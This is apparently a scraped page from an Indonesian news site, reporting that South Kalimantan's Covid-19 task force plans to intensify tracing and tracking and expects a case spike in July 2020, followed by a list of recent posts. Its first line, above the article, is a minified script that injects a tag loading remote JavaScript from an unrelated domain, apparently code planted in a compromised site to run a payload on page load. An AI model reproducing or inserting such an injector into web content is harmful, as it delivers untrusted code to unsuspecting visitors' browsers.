(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Tracing dan Tracking Digenjot, Juli Diprediksi Lonjakan Covid-19 di Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Upaya tracing (penelusuran) dan tracking (pelacakan) dalam mendeteksi sebaran kasus Covid-19 di Kalsel terus dimaksimalkan Tim Surveilans Epidemiologi di 13 kabupaten/kota.

Ketua Harian Tim Gugus Tugas Percepatan Penanganan Covid-19 Kalsel Abdul Haris Makkie mengatakan, pada bulan Juni dan Juli 2020 mendatang upaya tracing dan tracking terus digencarkan. Di samping tracing dan tracking, upaya treatmen (pengobatan) untuk kasus positif Covid-19 juga dilakukan pada bulan yang sama.

Sehingga, Haris Makkie mengungkapkan, tidak menutup kemungkinan pada bulan Juli 2020 mendatang ditargetkan terjadi lonjakan kasus Covid-19 yang cukup signifikan.

“Itu merupakan hasil tracing dan tracking. Tetapi kita berharap di bulan Agustus temuan kasus Covid-19 melandai dan akan ada penurunan,” kata Haris Makkie di Banjarmasin, Selasa (26/5/2020) siang.

Menurut Sekdaprov Kalsel, setelah temuan kasus Covid-19 melandai atau flat, tahap selanjutnya adalah pemerintah kabupaten dan kota untuk memberikan bantuan bagi masyarakat yang terdampak Covid-19. Terutama, mereka yang terkena dampak sosial maupun dampak ekonomi.

Sehingga diperlukan kerjasama yang solid baik antara pemprov dengan pemkab maupun pemko. “Jadi bukan hanya tugas Pemprov Kalsel,” tegasnya.

Ketua Harian Tim Gugus Tugas Percepatan Penanganan Covid-19 Kalsel Abdul Haris Makkie. foto; dew

Disinggung soal apakah new normal juga akan diterapkan di Kalsel, Haris Makkie menegaskan untuk saat ini jajarannya belum fokus untuk itu. Saat ini, ia menegaskan, yang menjadi utama yang akan dilakukan adalah upaya tracing di bulan depan.

“Silakan new normal diikuti secara alamiah saja,” tegasnya.

Apalagi, Haris Makkie menyebut, karakteristik setiap kabupaten dan kota di Kalsel berbeda-beda. Sehingga, sangat tidak mungkin disama ratakan.

“Saya katakan bahwa target kita di bulan Juni kita akan melakukan tracking dan tracing. Nanti ujungnya akan (mengarah) ke new normal itu. (Karena) kita memulainya dari tracing dan tracking itu,” tegas Haris Makkie.

Jika lonjakan kasus positif Covid-19 terjadi di bulan Juli dan mulai melandai di bulan Agustus, Haris Makkie menggarisbawahi, di bulan inilah sudah dapat memasuki fase new normal. “Saya pikir seperti itu konsepnya,” singkatnya. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

1 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

4 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

17 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

18 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

19 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

21 jam ago

This website uses cookies.